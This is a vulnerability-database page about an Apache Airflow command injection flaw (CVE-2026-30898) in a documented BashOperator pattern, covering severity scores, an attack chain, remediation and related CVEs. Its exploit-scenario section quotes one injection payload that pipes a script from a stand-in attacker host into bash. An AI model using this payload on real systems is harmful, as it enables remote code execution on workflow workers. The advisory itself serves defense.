Skip to main content

Apache Airflow EUVDEUVD-2026-23660

| CVE-2026-30898 HIGH
Command Injection (CWE-77)
2026-04-18 apache GHSA-6337-2587-f2jq
8.8
CVSS 3.1 · Vendor: apache
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to Airflow UI
  2. Delivery
    Identify DAG using unsafe dag_run.conf in BashOperator
  3. Exploit
    Trigger DAG with shell metacharacters in conf
  4. Execution
    Worker executes injected commands
  5. Persist
    Establish persistence on worker node
  6. Impact
    Pivot to orchestrated systems

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires authenticated access to Apache Airflow's web UI with privileges to trigger DAG runs (PR:L indicates low-privilege authenticated user). Critically, the target Airflow deployment must contain at least one DAG implementing the specific vulnerable pattern documented in prior Airflow examples - specifically, DAGs using BashOperator with unsanitized dag_run.conf parameters passed directly into bash_command templates. Not all Airflow installations are vulnerable by default; only those where developers adopted the flawed documentation guidance. Attack complexity is low (AC:L) once a vulnerable DAG pattern exists, as standard DAG triggering through the UI with crafted conf parameters achieves exploitation. No user interaction beyond attacker's own authenticated actions is required (UI:N). Limiting factors: requires reconnaissance to identify vulnerable DAG implementations through code review or trial-and-error testing; default Airflow example DAGs may not exhibit vulnerability; organizations with secure coding practices or input validation frameworks may not be affected despite running vulnerable Airflow versions.

Impact

CVSS 8.8 (High) reflects the severe technical impact: network-accessible (AV:N), low attack complexity (AC:L), requires only low-privilege authentication (PR:L), and achieves full confidentiality, integrity, and availability compromise (C:H/I:H/A:H) on worker nodes. However, real-world risk assessment reveals nuanced deployment considerations. The EPSS score of 0.03% (7th percentile) indicates minimal observed exploitation in the wild, likely because the vulnerability requires organizations to have adopted the specific flawed documentation pattern in their custom DAG implementations - not all Airflow deployments are vulnerable by default. The attack is not automatable against arbitrary Airflow instances without reconnaissance to identify vulnerable DAG patterns. SSVC decision factors: Exploitation status is POC-level (vendor fix demonstrates exploitability), automatable assessment is NO (requires deployment-specific DAG patterns), technical impact is total (arbitrary code execution). Priority depends critically on whether your organization's DAGs implement the documented anti-pattern - this is an audit-driven remediation rather than emergency patching scenario. Organizations should conduct DAG code reviews before assuming vulnerability, but exposed instances face genuine privilege escalation risk from authenticated users.

Exploit ScenarioDerived

An authenticated Airflow UI user with low privileges triggers a DAG run containing a vulnerable BashOperator implementation. The attacker crafts a malicious dag_run.conf payload like {'user_input': '; curl attacker.com/shell.sh | bash #'} which the flawed DAG template inserts unsanitized into a bash command. Upon task execution, the Airflow worker interprets the injected shell metacharacters, downloads and executes the attacker's script with worker process privileges, granting persistent code execution on the orchestration infrastructure. Publicly available exploit code exists via the vendor's GitHub PR demonstrating the injection vector.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Apr 21, 2026

Command injection in Apache Airflow's BashOperator documentation example allows authenticated attackers to escalate privileges from UI user to worker-level code execution. Affects all Airflow versions before 3.2.0. The vulnerability stems from documentation suggesting unsafe handling of dag_run.conf parameters, which organizations may have replicated in production DAGs. EPSS score of 0.03% indicates low observed exploitation probability, though the upstream fix (PR #64129) demonstrates vendor acknowledgment and remediation.

Earlier versions of this analysis (1)
v1 Apr 20, 2026 - 16:23 CVSS 8.8

Command injection in Apache Airflow <3.2.0 allows authenticated low-privileged UI users to escalate privileges and execute arbitrary code on worker nodes by exploiting insecure BashOperator patterns documented in official examples. The vulnerability stems from unsanitized dag_run.conf parameters being passed directly to shell execution contexts. Despite high CVSS 8.8, EPSS score is low (0.03%, 7th percentile), indicating limited observed exploitation attempts. Vendor-released patch available via PR #64129.

RemediationAI

Upgrade to Apache Airflow 3.2.0 or later, which includes corrected documentation and secure BashOperator examples per GitHub PR #64129 (https://github.com/apache/airflow/pull/64129). Review official security advisory at https://lists.apache.org/thread/26zmhfj1t95c1hld2r14ho81nzh1bdc8 for vendor guidance. CRITICAL INTERIM STEP: Audit all custom DAG implementations for unsafe dag_run.conf parameter handling in BashOperator commands. Search DAG code for patterns like BashOperator(bash_command=f'command {dag_run.conf}') or similar templating that concatenates user-controlled conf values into shell commands without validation. Compensating controls prior to upgrade: implement input validation/sanitization for all dag_run.conf parameters before use in BashOperator contexts using allowlists for permitted characters (reject shell metacharacters: semicolons, pipes, backticks, dollar signs, ampersands); alternatively, refactor vulnerable DAGs to use PythonOperator with subprocess.run() and shell=False, which prevents shell injection by avoiding shell interpretation entirely (trade-off: requires code refactoring versus quick validation fixes). Restrict DAG authoring permissions to prevent introduction of new vulnerable patterns during remediation period (trade-off: may impact development velocity). These mitigations reduce attack surface but code review and upgrading remain definitive solutions.

Affected VersionsENISA

Apache Airflow 0 <3.2.0

Affected Packages

euvd apache_airflow fix: 3.2.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Apache Airflow is a platform for programmatically authoring, scheduling, and monitoring workflows as directed acyclic graphs (DAGs). The BashOperator component executes bash commands as part of workflow tasks. The vulnerability (CWE-77: Improper Neutralization of Special Elements used in a Command) arose from documentation demonstrating unsafe templating of dag_run.conf user inputs directly into BashOperator commands without sanitization. When dag_run.conf parameters - which authenticated UI users can control through the Airflow interface - are passed to bash execution contexts, attackers can inject shell metacharacters to execute arbitrary commands with the privileges of the Airflow worker process. This represents a privilege escalation from UI-level authenticated access to worker-level code execution, potentially compromising the entire workflow orchestration environment.

Know when Apache Airflow gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (apache) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (apache) · only source for this CVE.

CVSS VectorVendor: apache

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
Analysis Updated
Apr 21, 2026 - 14:58 vuln.today
v2 - CVSS changed
CVSS changed
Apr 20, 2026 - 16:22 NVD
8.8 (HIGH)
Patch released
Apr 18, 2026 - 07:00 nvd
Patch available
CVE Published
Apr 18, 2026 - 06:20 nvd
HIGH 8.8

DescriptionCVE.org

An example of BashOperator in Airflow documentation suggested a way of passing dag_run.conf in the way that could cause unsanitized user input to be used to escalate privileges of UI user to allow execute code on worker. Users should review if any of their own DAGs have adopted this incorrect advice.

Executive ViewAI

Why It Matters

CVE-2026-30898 is a command injection vulnerability in Apache Airflow's BashOperator that allows authenticated users to escalate privileges from UI access to worker-level code execution. Organizations using Airflow versions before 3.2.0 with production DAGs based on vulnerable documentation examples face direct risk of unauthorized workflow manipulation and data access. This requires immediate remediation as the attack surface is likely widespread across Airflow deployments that copied the flawed documentation pattern.

Business Impact: High
Compensating Controls

Vendor-released patch: Apache Airflow 3.2.0. Until patching is complete: (1) Restrict Airflow UI user access to trusted personnel only, (2) disable or remove BashOperator from all non-critical DAGs, (3) implement strict input validation and sanitization for all dag_run.conf parameters before use in shell commands, (4) enforce worker process execution under dedicated non-privileged service accounts, (5) monitor worker logs for unexpected command execution patterns.

Threat Intelligence Overview

EPSS Score
0.0%
Top 93% exploitable
Social Media
2
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-33264 CRITICAL
9.8 Jul 07

Remote code execution in Apache Airflow before 3.3.0 lets a DAG author embed a malicious trigger whose attacker-controll

CVE-2026-68982 CRITICAL
9.8 Nov 09

Arbitrary code execution on every CeleryExecutor worker is possible for anyone who can write messages to the deployment'

CVE-2026-111421 HIGH
8.8 Nov 09

Insecure deserialization in Apache Airflow's Task Execution API XCom path allows a Dag author to store an XCom value tha

CVE-2026-67587 HIGH
8.8 Aug 12

Unsafe deserialization in Apache Airflow 3.3.0's Task SDK allows an authenticated DAG author to cause arbitrary module i

CVE-2026-86829 HIGH
8.8 Nov 09

Deserialization of task-written XCom values inside the Apache Airflow scheduler allows a Dag author to execute code in a

CVE-2026-58076 HIGH
8.8 Aug 12

Unsafe deserialization in Apache Airflow 3.0.0 through 3.3.0 allows any DAG author to achieve arbitrary code execution i

CVE-2026-33858 HIGH
8.8 Apr 13

Remote code execution in Apache Airflow 3.1.x allows authenticated DAG Authors to execute arbitrary code in the webserve

CVE-2026-111395 HIGH
8.2 Nov 09

Apache Airflow 3.2.0 through 3.3.x accepts Dag run `conf` payloads containing reserved serde keys such as `__classname__

CVE-2025-54550 HIGH
8.1 Apr 15

Unsafe XCom templating in Apache Airflow's documented example DAG (`example_xcom.py`) allowed an authenticated UI user w

CVE-2026-30911 HIGH
8.1 Mar 17

CVE-2026-30911 is a security vulnerability (CVSS 8.1) that allows any authenticated task instance. High severity vulnera

CVE-2026-113508 HIGH
7.5 Nov 09

Apache Airflow's logout handler reports success even when server-side token revocation fails, so a stolen or copied Airf

CVE-2026-68968 HIGH
7.5 Aug 12

Authorization bypass in Apache Airflow's Backfill API (all versions prior to 3.3.1) allows any authenticated user holdin

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy